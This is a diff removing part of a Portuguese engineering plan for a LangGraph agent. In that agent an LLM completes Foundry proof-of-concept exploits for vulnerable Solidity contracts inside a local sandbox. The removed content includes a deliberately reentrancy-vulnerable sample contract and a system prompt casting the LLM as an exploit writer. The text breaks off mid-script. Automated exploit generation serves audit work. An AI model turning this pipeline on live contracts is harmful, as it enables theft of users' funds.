npm install -D typescript ts-node @types/node
|
| 44 |
-
```
|
| 45 |
-
|
| 46 |
-
`tsconfig.json`:
|
| 47 |
-
```json
|
| 48 |
-
{
|
| 49 |
-
"compilerOptions": {
|
| 50 |
-
"target": "ES2022",
|
| 51 |
-
"module": "Node16",
|
| 52 |
-
"moduleResolution": "node16",
|
| 53 |
-
"strict": true,
|
| 54 |
-
"outDir": "dist",
|
| 55 |
-
"rootDir": "src",
|
| 56 |
-
"esModuleInterop": true
|
| 57 |
-
}
|
| 58 |
-
}
|
| 59 |
-
```
|
| 60 |
-
|
| 61 |
-
**Critérios de aceitação**
|
| 62 |
-
- [ ] `npx tsc --noEmit` roda sem erros em um arquivo vazio em `src/agents/poc-generator/agent.ts`
|
| 63 |
-
- [ ] Todas as dependências aparecem no `package.json`
|
| 64 |
-
- [ ] Estrutura de diretórios criada conforme acima
|
| 65 |
-
|
| 66 |
-
**Como testar**
|
| 67 |
-
```bash
|
| 68 |
-
npx tsc --noEmit # deve sair com código 0
|
| 69 |
-
ls src/agents/poc-generator/tools/ # deve existir
|
| 70 |
-
```
|
| 71 |
-
|
| 72 |
-
---
|
| 73 |
-
|
| 74 |
-
### TALP-1.2 — Definir interfaces e estado do agente
|
| 75 |
-
|
| 76 |
-
| Campo | Valor |
|
| 77 |
-
|-------|-------|
|
| 78 |
-
| **Tipo** | Implementação |
|
| 79 |
-
| **Prioridade** | Crítica |
|
| 80 |
-
| **Estimativa** | 2h |
|
| 81 |
-
| **Depende de** | TALP-1.1 |
|
| 82 |
-
|
| 83 |
-
**Descrição**
|
| 84 |
-
Criar os tipos TypeScript que definem o contrato de dados do agente: o que entra (`VulnerabilityReport`), o que sai (`PoCResult`), e o estado interno do grafo LangGraph (`PoCStateAnnotation`).
|
| 85 |
-
|
| 86 |
-
**Arquivos a criar**
|
| 87 |
-
```
|
| 88 |
-
src/agents/poc-generator/types.ts ← interfaces de input/output
|
| 89 |
-
src/agents/poc-generator/state.ts ← PoCStateAnnotation (LangGraph)
|
| 90 |
-
```
|
| 91 |
-
|
| 92 |
-
**Implementação — `types.ts`**
|
| 93 |
-
```typescript
|
| 94 |
-
export interface VulnerabilityReport {
|
| 95 |
-
id: string;
|
| 96 |
-
severity: "critical" | "high" | "medium" | "low";
|
| 97 |
-
type: string;
|
| 98 |
-
title: string;
|
| 99 |
-
description: string;
|
| 100 |
-
affectedContract: {
|
| 101 |
-
name: string;
|
| 102 |
-
sourceCode: string; // Solidity completo, preferencialmente flattened
|
| 103 |
-
};
|
| 104 |
-
attackVector: string;
|
| 105 |
-
suggestedCheatcodes?: string[];
|
| 106 |
-
}
|
| 107 |
-
|
| 108 |
-
export interface OracleContext {
|
| 109 |
-
solidityScaffold: string; // Exploit.t.sol parcial com setUp() pronto
|
| 110 |
-
}
|
| 111 |
-
|
| 112 |
-
export interface PoCResult {
|
| 113 |
-
reportId: string;
|
| 114 |
-
status: "success" | "failed" | "timeout";
|
| 115 |
-
solidityCode: string;
|
| 116 |
-
executionLogs: string[];
|
| 117 |
-
iterations: number;
|
| 118 |
-
}
|
| 119 |
-
```
|
| 120 |
-
|
| 121 |
-
**Implementação — `state.ts`**
|
| 122 |
-
```typescript
|
| 123 |
-
import { Annotation } from "@langchain/langgraph";
|
| 124 |
-
import { VulnerabilityReport, OracleContext } from "./types";
|
| 125 |
-
|
| 126 |
-
export const PoCStateAnnotation = Annotation.Root({
|
| 127 |
-
report: Annotation<VulnerabilityReport>(),
|
| 128 |
-
|
| 129 |
-
oracleContext: Annotation<OracleContext | null>({
|
| 130 |
-
default: () => null,
|
| 131 |
-
reducer: (_, y) => y, // overwrite — preenchido 1x pelo oracleNode
|
| 132 |
-
}),
|
| 133 |
-
|
| 134 |
-
pocCode: Annotation<string>({
|
| 135 |
-
default: () => "",
|
| 136 |
-
reducer: (_, y) => y, // overwrite — sempre a versão mais recente
|
| 137 |
-
}),
|
| 138 |
-
|
| 139 |
-
executionLogs: Annotation<string[]>({
|
| 140 |
-
default: () => [],
|
| 141 |
-
reducer: (x, y) => x.concat(y), // append — nunca perde logs anteriores
|
| 142 |
-
}),
|
| 143 |
-
|
| 144 |
-
lastError: Annotation<string | null>({
|
| 145 |
-
default: () => null,
|
| 146 |
-
reducer: (_, y) => y, // overwrite — última análise de erro
|
| 147 |
-
}),
|
| 148 |
-
|
| 149 |
-
iterations: Annotation<number>({
|
| 150 |
-
default: () => 0,
|
| 151 |
-
reducer: (x, y) => x + y, // aditivo — incrementado em +1 por chamada
|
| 152 |
-
}),
|
| 153 |
-
|
| 154 |
-
status: Annotation<"running" | "success" | "failed" | "timeout">({
|
| 155 |
-
default: () => "running",
|
| 156 |
-
reducer: (_, y) => y, // overwrite
|
| 157 |
-
}),
|
| 158 |
-
});
|
| 159 |
-
|
| 160 |
-
export type PoCState = typeof PoCStateAnnotation.State;
|
| 161 |
-
```
|
| 162 |
-
|
| 163 |
-
**Critérios de aceitação**
|
| 164 |
-
- [ ] `npx tsc --noEmit` passa sem erros
|
| 165 |
-
- [ ] `iterations` usa reducer aditivo (não overwrite)
|
| 166 |
-
- [ ] `executionLogs` usa reducer de append (nunca trunca histórico)
|
| 167 |
-
- [ ] `oracleContext` usa overwrite mas default é `null`
|
| 168 |
-
- [ ] Todos os campos têm `default` e `reducer` definidos
|
| 169 |
-
|
| 170 |
-
**Como testar**
|
| 171 |
-
```bash
|
| 172 |
-
npx tsc --noEmit
|
| 173 |
-
```
|
| 174 |
-
Criar arquivo de teste manual `tests/state.test.ts`:
|
| 175 |
-
```typescript
|
| 176 |
-
import { PoCStateAnnotation } from "../src/agents/poc-generator/state";
|
| 177 |
-
const s = PoCStateAnnotation.spec;
|
| 178 |
-
console.assert(s.iterations !== undefined, "iterations deve existir");
|
| 179 |
-
console.log("Estado OK");
|
| 180 |
-
```
|
| 181 |
-
|
| 182 |
-
---
|
| 183 |
-
|
| 184 |
-
### TALP-1.3 — Criar nodes stub e grafo linear
|
| 185 |
-
|
| 186 |
-
| Campo | Valor |
|
| 187 |
-
|-------|-------|
|
| 188 |
-
| **Tipo** | Implementação |
|
| 189 |
-
| **Prioridade** | Crítica |
|
| 190 |
-
| **Estimativa** | 2h |
|
| 191 |
-
| **Depende de** | TALP-1.2 |
|
| 192 |
-
|
| 193 |
-
**Descrição**
|
| 194 |
-
Criar o grafo LangGraph com quatro nodes stub (sem lógica real ainda) conectados linearmente. Objetivo: validar que o grafo compila, executa e passa o estado corretamente entre os nodes.
|
| 195 |
-
|
| 196 |
-
**Arquivos a criar/modificar**
|
| 197 |
-
```
|
| 198 |
-
src/agents/poc-generator/agent.ts ← criar
|
| 199 |
-
```
|
| 200 |
-
|
| 201 |
-
**Implementação**
|
| 202 |
-
```typescript
|
| 203 |
-
import { StateGraph, END, START } from "@langchain/langgraph";
|
| 204 |
-
import { PoCStateAnnotation, PoCState } from "./state";
|
| 205 |
-
|
| 206 |
-
async function oracleNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 207 |
-
console.log("[oracleNode] stub — report recebido:", state.report.id);
|
| 208 |
-
return {};
|
| 209 |
-
}
|
| 210 |
-
|
| 211 |
-
async function generatePoCNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 212 |
-
console.log("[generatePoCNode] stub — iteração:", state.iterations);
|
| 213 |
-
return { iterations: 1 };
|
| 214 |
-
}
|
| 215 |
-
|
| 216 |
-
async function runFoundryNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 217 |
-
console.log("[runFoundryNode] stub");
|
| 218 |
-
return { status: "success" };
|
| 219 |
-
}
|
| 220 |
-
|
| 221 |
-
async function reflectNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 222 |
-
console.log("[reflectNode] stub");
|
| 223 |
-
return {};
|
| 224 |
-
}
|
| 225 |
-
|
| 226 |
-
const graph = new StateGraph(PoCStateAnnotation)
|
| 227 |
-
.addNode("oracleNode", oracleNode)
|
| 228 |
-
.addNode("generatePoCNode", generatePoCNode)
|
| 229 |
-
.addNode("runFoundryNode", runFoundryNode)
|
| 230 |
-
.addNode("reflectNode", reflectNode)
|
| 231 |
-
.addEdge(START, "oracleNode")
|
| 232 |
-
.addEdge("oracleNode", "generatePoCNode")
|
| 233 |
-
.addEdge("generatePoCNode", "runFoundryNode")
|
| 234 |
-
.addEdge("runFoundryNode", END);
|
| 235 |
-
|
| 236 |
-
export const pocGeneratorAgent = graph.compile();
|
| 237 |
-
```
|
| 238 |
-
|
| 239 |
-
**Critérios de aceitação**
|
| 240 |
-
- [ ] `pocGeneratorAgent.invoke({ report: mockReport })` executa sem erros
|
| 241 |
-
- [ ] Console exibe os 4 nomes de nodes em ordem correta
|
| 242 |
-
- [ ] Estado final tem `status: "success"` e `iterations: 1`
|
| 243 |
-
- [ ] `npx tsc --noEmit` passa
|
| 244 |
-
|
| 245 |
-
**Como testar**
|
| 246 |
-
```typescript
|
| 247 |
-
// tests/stub-run.ts
|
| 248 |
-
import { pocGeneratorAgent } from "../src/agents/poc-generator/agent";
|
| 249 |
-
const mockReport = {
|
| 250 |
-
id: "test-stub", severity: "high" as const, type: "reentrancy",
|
| 251 |
-
title: "Test", description: "Test", attackVector: "Test",
|
| 252 |
-
affectedContract: { name: "Test", sourceCode: "pragma solidity ^0.8.0;" }
|
| 253 |
-
};
|
| 254 |
-
const result = await pocGeneratorAgent.invoke({ report: mockReport });
|
| 255 |
-
console.assert(result.status === "success", "status deve ser success");
|
| 256 |
-
console.assert(result.iterations === 1, "iterations deve ser 1");
|
| 257 |
-
console.log("Grafo stub OK:", result.status);
|
| 258 |
-
```
|
| 259 |
-
```bash
|
| 260 |
-
npx ts-node tests/stub-run.ts
|
| 261 |
-
```
|
| 262 |
-
|
| 263 |
-
---
|
| 264 |
-
|
| 265 |
-
### TALP-1.4 — Implementar `scaffoldGenerator`
|
| 266 |
-
|
| 267 |
-
| Campo | Valor |
|
| 268 |
-
|-------|-------|
|
| 269 |
-
| **Tipo** | Implementação |
|
| 270 |
-
| **Prioridade** | Crítica |
|
| 271 |
-
| **Estimativa** | 3h |
|
| 272 |
-
| **Depende de** | TALP-1.2 |
|
| 273 |
-
|
| 274 |
-
**Descrição**
|
| 275 |
-
Implementar a função que gera o scaffold Solidity com `setUp()` pronto. O LLM receberá este arquivo parcial e precisará completar apenas a função `test_Exploit()`. Isso elimina o erro mais comum do PoCo: o LLM instanciar o contrato vítima de forma incorreta.
|
| 276 |
-
|
| 277 |
-
**Arquivos a criar**
|
| 278 |
-
```
|
| 279 |
-
src/agents/poc-generator/tools/scaffoldGenerator.ts
|
| 280 |
-
```
|
| 281 |
-
|
| 282 |
-
**Implementação**
|
| 283 |
-
```typescript
|
| 284 |
-
import { VulnerabilityReport } from "../types";
|
| 285 |
-
|
| 286 |
-
export function generateLocalScaffold(report: VulnerabilityReport): string {
|
| 287 |
-
const cheatcodes = report.suggestedCheatcodes?.join(", ") ?? "vm.deal, vm.prank, vm.warp";
|
| 288 |
-
|
| 289 |
-
return `// SPDX-License-Identifier: UNLICENSED
|
| 290 |
-
pragma solidity ^0.8.20;
|
| 291 |
-
|
| 292 |
-
import "forge-std/Test.sol";
|
| 293 |
-
import "forge-std/console.sol";
|
| 294 |
-
|
| 295 |
-
// ── Código-fonte do contrato vulnerável ──────────────────────────────────────
|
| 296 |
-
${report.affectedContract.sourceCode}
|
| 297 |
-
// ─────────────────────────────────────────────────────────────────────────────
|
| 298 |
-
|
| 299 |
-
contract ExploitTest is Test {
|
| 300 |
-
${report.affectedContract.name} target;
|
| 301 |
-
address constant ATTACKER = address(0xBEEF);
|
| 302 |
-
|
| 303 |
-
// setUp() gerado automaticamente pelo Oracle — NÃO MODIFICAR
|
| 304 |
-
function setUp() public {
|
| 305 |
-
target = new ${report.affectedContract.name}();
|
| 306 |
-
vm.deal(address(target), 100 ether);
|
| 307 |
-
vm.deal(ATTACKER, 10 ether);
|
| 308 |
-
vm.label(address(target), "TARGET");
|
| 309 |
-
vm.label(ATTACKER, "ATTACKER");
|
| 310 |
-
}
|
| 311 |
-
|
| 312 |
-
// Vulnerabilidade: ${report.title}
|
| 313 |
-
// Tipo: ${report.type}
|
| 314 |
-
// Vetor: ${report.attackVector}
|
| 315 |
-
// Cheatcodes sugeridos: ${cheatcodes}
|
| 316 |
-
//
|
| 317 |
-
// COMPLETE APENAS ESTA FUNÇÃO — não altere setUp() nem os campos acima
|
| 318 |
-
function test_Exploit() public {
|
| 319 |
-
vm.startPrank(ATTACKER);
|
| 320 |
-
// TODO: implementar exploit aqui
|
| 321 |
-
vm.stopPrank();
|
| 322 |
-
}
|
| 323 |
-
}`.trim();
|
| 324 |
-
}
|
| 325 |
-
```
|
| 326 |
-
|
| 327 |
-
**Critérios de aceitação**
|
| 328 |
-
- [ ] Output é Solidity sintaticamente válido (passa `forge build`)
|
| 329 |
-
- [ ] `setUp()` inclui `vm.deal` para target (100 ETH) e ATTACKER (10 ETH)
|
| 330 |
-
- [ ] Comentários indicam claramente o que o LLM deve completar
|
| 331 |
-
- [ ] `suggestedCheatcodes` aparece no scaffold quando presentes no report
|
| 332 |
-
- [ ] Contrato vítima é incluído inline (sem imports externos)
|
| 333 |
-
|
| 334 |
-
**Como testar**
|
| 335 |
-
```bash
|
| 336 |
-
# 1. Gerar o scaffold manualmente
|
| 337 |
-
npx ts-node -e "
|
| 338 |
-
import { generateLocalScaffold } from './src/agents/poc-generator/tools/scaffoldGenerator';
|
| 339 |
-
const scaffold = generateLocalScaffold({
|
| 340 |
-
id:'t1', severity:'high', type:'reentrancy', title:'Reentrancy em withdraw()',
|
| 341 |
-
description:'...', attackVector:'callback malicioso',
|
| 342 |
-
affectedContract: { name: 'VulnerableBank', sourceCode: \`
|
| 343 |
-
pragma solidity ^0.8.20;
|
| 344 |
-
contract VulnerableBank {
|
| 345 |
-
mapping(address=>uint) public balances;
|
| 346 |
-
function deposit() external payable { balances[msg.sender] += msg.value; }
|
| 347 |
-
function withdraw() external {
|
| 348 |
-
uint a = balances[msg.sender];
|
| 349 |
-
(bool ok,) = msg.sender.call{value:a}('');
|
| 350 |
-
require(ok); balances[msg.sender] = 0;
|
| 351 |
-
}
|
| 352 |
-
}\`}
|
| 353 |
-
});
|
| 354 |
-
console.log(scaffold);
|
| 355 |
-
" > /tmp/poc-sandbox/test/Exploit.t.sol
|
| 356 |
-
|
| 357 |
-
# 2. Verificar compilação
|
| 358 |
-
cd /tmp/poc-sandbox && forge build
|
| 359 |
-
```
|
| 360 |
-
|
| 361 |
-
---
|
| 362 |
-
|
| 363 |
-
### TALP-1.5 — Implementar `oracleNode`
|
| 364 |
-
|
| 365 |
-
| Campo | Valor |
|
| 366 |
-
|-------|-------|
|
| 367 |
-
| **Tipo** | Implementação |
|
| 368 |
-
| **Prioridade** | Crítica |
|
| 369 |
-
| **Estimativa** | 1h |
|
| 370 |
-
| **Depende de** | TALP-1.3, TALP-1.4 |
|
| 371 |
-
|
| 372 |
-
**Descrição**
|
| 373 |
-
Substituir o stub do `oracleNode` pela implementação real que chama o `scaffoldGenerator` e persiste o resultado no estado.
|
| 374 |
-
|
| 375 |
-
**Arquivos a modificar**
|
| 376 |
-
```
|
| 377 |
-
src/agents/poc-generator/agent.ts ← substituir stub do oracleNode
|
| 378 |
-
```
|
| 379 |
-
|
| 380 |
-
**Implementação**
|
| 381 |
-
```typescript
|
| 382 |
-
import { generateLocalScaffold } from "./tools/scaffoldGenerator";
|
| 383 |
-
|
| 384 |
-
async function oracleNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 385 |
-
console.log("[oracleNode] gerando scaffold para:", state.report.title);
|
| 386 |
-
|
| 387 |
-
const solidityScaffold = generateLocalScaffold(state.report);
|
| 388 |
-
const oracleContext: OracleContext = { solidityScaffold };
|
| 389 |
-
|
| 390 |
-
console.log("[oracleNode] scaffold gerado, tamanho:", solidityScaffold.length, "chars");
|
| 391 |
-
return { oracleContext };
|
| 392 |
-
}
|
| 393 |
-
```
|
| 394 |
-
|
| 395 |
-
**Critérios de aceitação**
|
| 396 |
-
- [ ] `oracleContext` não é mais `null` após a execução do node
|
| 397 |
-
- [ ] Scaffold gerado passa `forge build` sem erros de compilação
|
| 398 |
-
- [ ] Não há chamadas de rede, RPC ou I/O externo neste node
|
| 399 |
-
- [ ] Log mostra o título do report e o tamanho do scaffold
|
| 400 |
-
|
| 401 |
-
**Gate da Semana 1:** Rodar o grafo stub com um `VulnerabilityReport` fake e verificar que `oracleContext.solidityScaffold` compila com `forge build`.
|
| 402 |
-
|
| 403 |
-
```bash
|
| 404 |
-
# Teste do gate
|
| 405 |
-
npx ts-node tests/stub-run.ts
|
| 406 |
-
# Copiar o scaffold para o sandbox e compilar
|
| 407 |
-
cd /tmp/poc-sandbox && forge build
|
| 408 |
-
```
|
| 409 |
-
|
| 410 |
-
---
|
| 411 |
-
|
| 412 |
-
## SEMANA 2 — LLM + Foundry + Loop ReAct
|
| 413 |
-
|
| 414 |
-
---
|
| 415 |
-
|
| 416 |
-
### TALP-2.1 — Criar o system prompt
|
| 417 |
-
|
| 418 |
-
| Campo | Valor |
|
| 419 |
-
|-------|-------|
|
| 420 |
-
| **Tipo** | Implementação |
|
| 421 |
-
| **Prioridade** | Alta |
|
| 422 |
-
| **Estimativa** | 2h |
|
| 423 |
-
| **Depende de** | TALP-1.4 |
|
| 424 |
-
|
| 425 |
-
**Descrição**
|
| 426 |
-
Criar o system prompt que instrui o LLM a agir como pesquisador de segurança Solidity. O prompt precisa garantir: (1) output é apenas Solidity em bloco, (2) o LLM não reescreve o `setUp()`, (3) toda linha não-óbvia tem comentário.
|
| 427 |
-
|
| 428 |
-
**Arquivos a criar**
|
| 429 |
-
```
|
| 430 |
-
src/agents/poc-generator/prompts/system.ts
|
| 431 |
-
```
|
| 432 |
-
|
| 433 |
-
**Implementação**
|
| 434 |
-
```typescript
|
| 435 |
-
export const SYSTEM_PROMPT = `Você é um Pesquisador de Segurança Solidity especializado em escrever exploits Proof of Concept (PoC) para Foundry.
|
| 436 |
-
|
| 437 |
-
## TAREFA
|
| 438 |
-
Você receberá:
|
| 439 |
-
1. Um relatório de vulnerabilidade descrevendo uma falha de segurança em Solidity.
|
| 440 |
-
2. Um scaffold Foundry parcialmente completo com setUp() já implementado.
|
| 441 |
-
|
| 442 |
-
Sua missão: completar APENAS a função test_Exploit() — e, se necessário, adicionar contratos auxiliares (ex: atacante com fallback()) ANTES do contrato ExploitTest.
|
| 443 |
-
|
| 444 |
-
## RESTRIÇÕES ABSOLUTAS
|
| 445 |
-
- NÃO modifique setUp(), imports, constants ou qualquer campo marcado com "NÃO MODIFICAR".
|
| 446 |
-
- NÃO adicione novos imports além dos já presentes.
|
| 447 |
-
- Output APENAS um bloco \`\`\`solidity ... \`\`\` com o arquivo completo. Sem texto fora do bloco.
|
| 448 |
-
|
| 449 |
-
## REGRAS DE QUALIDADE
|
| 450 |
-
- Use cheatcodes Foundry quando necessário: vm.warp(), vm.roll(), vm.prank(), vm.deal(), vm.expectRevert().
|
| 451 |
-
- A assertion final DEVE usar assertTrue(), assertGt() ou assertEq() para provar que o exploit teve sucesso.
|
| 452 |
-
- Cada linha não-óbvia DEVE ter um comentário inline explicando por que existe.
|
| 453 |
-
- Se precisar de flash loan, implemente o callback do provider já configurado no setUp().
|
| 454 |
-
- Se não conseguir completar o exploit, implemente o máximo possível e adicione comentários // TODO: explicando o que falta.
|
| 455 |
-
|
| 456 |
-
## FORMATO DE OUTPUT
|
| 457 |
-
\`\`\`solidity
|
| 458 |
-
// arquivo completo aqui
|
| 459 |
-
\`\`\`
|
| 460 |
-
`.trim();
|
| 461 |
-
```
|
| 462 |
-
|
| 463 |
-
**Critérios de aceitação**
|
| 464 |
-
- [ ] LLM sempre produz um bloco ` ```solidity``` ` no output (validar em ≥5 chamadas manuais)
|
| 465 |
-
- [ ] LLM nunca reescreve `setUp()` (testar com prompt de retry)
|
| 466 |
-
- [ ] LLM sempre inclui pelo menos uma assertion no `test_Exploit()`
|
| 467 |
-
- [ ] Prompt cabe em menos de 500 tokens (verificar com `tiktoken`)
|
| 468 |
-
|
| 469 |
-
**Como testar**
|
| 470 |
-
```typescript
|
| 471 |
-
// Teste manual: chamar o LLM diretamente com o system prompt
|
| 472 |
-
import { ChatOpenAI } from "@langchain/openai";
|
| 473 |
-
import { SYSTEM_PROMPT } from "./src/agents/poc-generator/prompts/system";
|
| 474 |
-
const llm = new ChatOpenAI({ modelName: "gpt-4o", openAIApiKey: process.env.OPENROUTER_API_KEY });
|
| 475 |
-
const resp = await llm.invoke([
|
| 476 |
-
{ role: "system", content: SYSTEM_PROMPT },
|
| 477 |
-
{ role: "user", content: "Scaffold: ...\nVulnerabilidade: reentrancy simples" }
|
| 478 |
-
]);
|
| 479 |
-
console.log(resp.content);
|
| 480 |
-
// Verificar manualmente: contém ```solidity```? Não modificou setUp()?
|
| 481 |
-
```
|
| 482 |
-
|
| 483 |
-
---
|
| 484 |
-
|
| 485 |
-
### TALP-2.2 — Implementar `extractSolidity`
|
| 486 |
-
|
| 487 |
-
| Campo | Valor |
|
| 488 |
-
|-------|-------|
|
| 489 |
-
| **Tipo** | Implementação |
|
| 490 |
-
| **Prioridade** | Alta |
|
| 491 |
-
| **Estimativa** | 1h |
|
| 492 |
-
| **Depende de** | TALP-2.1 |
|
| 493 |
-
|
| 494 |
-
**Descrição**
|
| 495 |
-
Parser robusto que extrai o bloco Solidity do output do LLM, com fallbacks para casos onde o modelo omite os backticks.
|
| 496 |
-
|
| 497 |
-
**Arquivos a criar**
|
| 498 |
-
```
|
| 499 |
-
src/agents/poc-generator/utils/extractSolidity.ts
|
| 500 |
-
```
|
| 501 |
-
|
| 502 |
-
**Implementação**
|
| 503 |
-
```typescript
|
| 504 |
-
export function extractSolidity(llmOutput: string): string {
|
| 505 |
-
// Caso 1: bloco ```solidity ... ``` padrão
|
| 506 |
-
const match = llmOutput.match(/```solidity\s*([\s\S]*?)```/);
|
| 507 |
-
if (match) return match[1].trim();
|
| 508 |
-
|
| 509 |
-
// Caso 2: LLM omitiu backticks mas começa com pragma/SPDX
|
| 510 |
-
const trimmed = llmOutput.trim();
|
| 511 |
-
if (trimmed.startsWith("// SPDX") || trimmed.startsWith("pragma")) {
|
| 512 |
-
return trimmed;
|
| 513 |
-
}
|
| 514 |
-
|
| 515 |
-
// Caso 3: output inválido — lançar erro descritivo
|
| 516 |
-
throw new Error(
|
| 517 |
-
`LLM output não contém bloco Solidity válido. Preview: "${llmOutput.slice(0, 200)}"`
|
| 518 |
-
);
|
| 519 |
-
}
|
| 520 |
-
```
|
| 521 |
-
|
| 522 |
-
**Critérios de aceitação**
|
| 523 |
-
- [ ] Extrai corretamente de bloco ` ```solidity``` ` padrão
|
| 524 |
-
- [ ] Usa fallback quando LLM omite backticks mas começa com `pragma` ou `// SPDX`
|
| 525 |
-
- [ ] Lança `Error` descritivo quando output é texto puro sem Solidity
|
| 526 |
-
- [ ] Resultado nunca contém os backticks do bloco
|
| 527 |
-
|
| 528 |
-
**Como testar**
|
| 529 |
-
```typescript
|
| 530 |
-
// tests/unit/extractSolidity.test.ts
|
| 531 |
-
import { extractSolidity } from "../../src/agents/poc-generator/utils/extractSolidity";
|
| 532 |
-
|
| 533 |
-
// Caso 1: bloco padrão
|
| 534 |
-
const r1 = extractSolidity("Aqui está:\n```solidity\npragma solidity ^0.8.0;\n```");
|
| 535 |
-
console.assert(r1 === "pragma solidity ^0.8.0;", "Caso 1 falhou");
|
| 536 |
-
|
| 537 |
-
// Caso 2: sem backticks
|
| 538 |
-
const r2 = extractSolidity("pragma solidity ^0.8.0;\ncontract A {}");
|
| 539 |
-
console.assert(r2.startsWith("pragma"), "Caso 2 falhou");
|
| 540 |
-
|
| 541 |
-
// Caso 3: inválido — deve lançar
|
| 542 |
-
try {
|
| 543 |
-
extractSolidity("Desculpe, não consigo gerar isso.");
|
| 544 |
-
console.error("Caso 3 deveria ter lançado erro!");
|
| 545 |
-
} catch (e) {
|
| 546 |
-
console.log("Caso 3 OK — erro lançado:", (e as Error).message.slice(0, 50));
|
| 547 |
-
}
|
| 548 |
-
|
| 549 |
-
console.log("Todos os testes de extractSolidity passaram");
|
| 550 |
-
```
|
| 551 |
-
|
| 552 |
-
---
|
| 553 |
-
|
| 554 |
-
### TALP-2.3 — Implementar `generatePoCNode`
|
| 555 |
-
|
| 556 |
-
| Campo | Valor |
|
| 557 |
-
|-------|-------|
|
| 558 |
-
| **Tipo** | Implementação |
|
| 559 |
-
| **Prioridade** | Crítica |
|
| 560 |
-
| **Estimativa** | 3h |
|
| 561 |
-
| **Depende de** | TALP-2.1, TALP-2.2 |
|
| 562 |
-
|
| 563 |
-
**Descrição**
|
| 564 |
-
Substituir o stub por um node real que chama o LLM. O prompt do usuário muda dependendo se é a primeira tentativa (passa o scaffold) ou um retry (passa o código com erro anterior).
|
| 565 |
-
|
| 566 |
-
**Arquivos a modificar**
|
| 567 |
-
```
|
| 568 |
-
src/agents/poc-generator/agent.ts ← substituir stub do generatePoCNode
|
| 569 |
-
```
|
| 570 |
-
|
| 571 |
-
**Implementação**
|
| 572 |
-
```typescript
|
| 573 |
-
import { ChatOpenAI } from "@langchain/openai";
|
| 574 |
-
import { SYSTEM_PROMPT } from "./prompts/system";
|
| 575 |
-
import { extractSolidity } from "./utils/extractSolidity";
|
| 576 |
-
|
| 577 |
-
const llm = new ChatOpenAI({
|
| 578 |
-
modelName: "gpt-4o",
|
| 579 |
-
temperature: 0.2,
|
| 580 |
-
openAIApiKey: process.env.OPENROUTER_API_KEY,
|
| 581 |
-
configuration: { baseURL: "https://openrouter.ai/api/v1" },
|
| 582 |
-
});
|
| 583 |
-
|
| 584 |
-
async function generatePoCNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 585 |
-
const { report, oracleContext, executionLogs, pocCode, iterations, lastError } = state;
|
| 586 |
-
const isRetry = iterations > 0;
|
| 587 |
-
|
| 588 |
-
const userMessage = isRetry
|
| 589 |
-
? `O seguinte exploit FALHOU no Foundry.
|
| 590 |
-
|
| 591 |
-
Código anterior:
|
| 592 |
-
\`\`\`solidity
|
| 593 |
-
${pocCode}
|
| 594 |
-
\`\`\`
|
| 595 |
-
|
| 596 |
-
Output do Forge (última execução):
|
| 597 |
-
${executionLogs[executionLogs.length - 1]?.slice(0, 3000) ?? "sem logs"}
|
| 598 |
-
|
| 599 |
-
Análise do erro: ${lastError ?? "desconhecido"}
|
| 600 |
-
|
| 601 |
-
Corrija o código. Retorne o arquivo Solidity completo corrigido.`
|
| 602 |
-
: `Relatório de Vulnerabilidade:
|
| 603 |
-
- Título: ${report.title}
|
| 604 |
-
- Tipo: ${report.type}
|
| 605 |
-
- Descrição: ${report.description}
|
| 606 |
-
- Vetor de Ataque: ${report.attackVector}
|
| 607 |
-
|
| 608 |
-
Scaffold (complete APENAS test_Exploit):
|
| 609 |
-
\`\`\`solidity
|
| 610 |
-
${oracleContext!.solidityScaffold}
|
| 611 |
-
\`\`\``;
|
| 612 |
-
|
| 613 |
-
console.log(`[generatePoCNode] iteração ${iterations + 1}, isRetry=${isRetry}`);
|
| 614 |
-
|
| 615 |
-
try {
|
| 616 |
-
const response = await llm.invoke([
|
| 617 |
-
{ role: "system", content: SYSTEM_PROMPT },
|
| 618 |
-
{ role: "user", content: userMessage },
|
| 619 |
-
]);
|
| 620 |
-
const solidityCode = extractSolidity(response.content as string);
|
| 621 |
-
console.log("[generatePoCNode] Solidity extraído, tamanho:", solidityCode.length);
|
| 622 |
-
return { pocCode: solidityCode, iterations: 1 };
|
| 623 |
-
} catch (err) {
|
| 624 |
-
console.error("[generatePoCNode] falha na extração:", (err as Error).message);
|
| 625 |
-
return { iterations: 1, lastError: `Falha ao extrair Solidity: ${(err as Error).message}` };
|
| 626 |
-
}
|
| 627 |
-
}
|
| 628 |
-
```
|
| 629 |
-
|
| 630 |
-
**Critérios de aceitação**
|
| 631 |
-
- [ ] Na primeira iteração: passa scaffold completo + descrição da vulnerabilidade
|
| 632 |
-
- [ ] No retry: passa código anterior + logs do forge + análise do erro
|
| 633 |
-
- [ ] `iterations` incrementa em +1 a cada chamada (via reducer aditivo)
|
| 634 |
-
- [ ] Erro de extração não trava o grafo — registra `lastError` e continua
|
| 635 |
-
- [ ] Logs do forge são truncados a 3000 chars (evitar ultrapassar context window)
|
| 636 |
-
|
| 637 |
-
---
|
| 638 |
-
|
| 639 |
-
### TALP-2.4 — Setup do sandbox Foundry
|
| 640 |
-
|
| 641 |
-
| Campo | Valor |
|
| 642 |
-
|-------|-------|
|
| 643 |
-
| **Tipo** | Setup/Infra |
|
| 644 |
-
| **Prioridade** | Crítica |
|
| 645 |
-
| **Estimativa** | 1h |
|
| 646 |
-
| **Depende de** | TALP-1.1 |
|
| 647 |
-
|
| 648 |
-
**Descrição**
|
| 649 |
-
Criar script de inicialização do sandbox Foundry local em `/tmp/poc-sandbox/`. O agente escreve o arquivo `Exploit.t.sol` aqui e executa `forge test`.
|
| 650 |
-
|
| 651 |
-
**Arquivos a criar**
|
| 652 |
-
```
|
| 653 |
-
scripts/setup-sandbox.sh
|
| 654 |
-
foundry.toml ← copiado para o sandbox
|
| 655 |
-
```
|
| 656 |
-
|
| 657 |
-
**Implementação — `setup-sandbox.sh`**
|
| 658 |
-
```bash
|
| 659 |
-
#!/bin/bash
|
| 660 |
-
set -e
|
| 661 |
-
|
| 662 |
-
SANDBOX="/tmp/poc-sandbox"
|
| 663 |
-
|
| 664 |
-
echo "Inicializando sandbox Foundry em $SANDBOX..."
|
| 665 |
-
rm -rf "$SANDBOX"
|
| 666 |
-
mkdir -p "$SANDBOX"
|
| 667 |
-
cd "$SANDBOX"
|
| 668 |
-
|
| 669 |
-
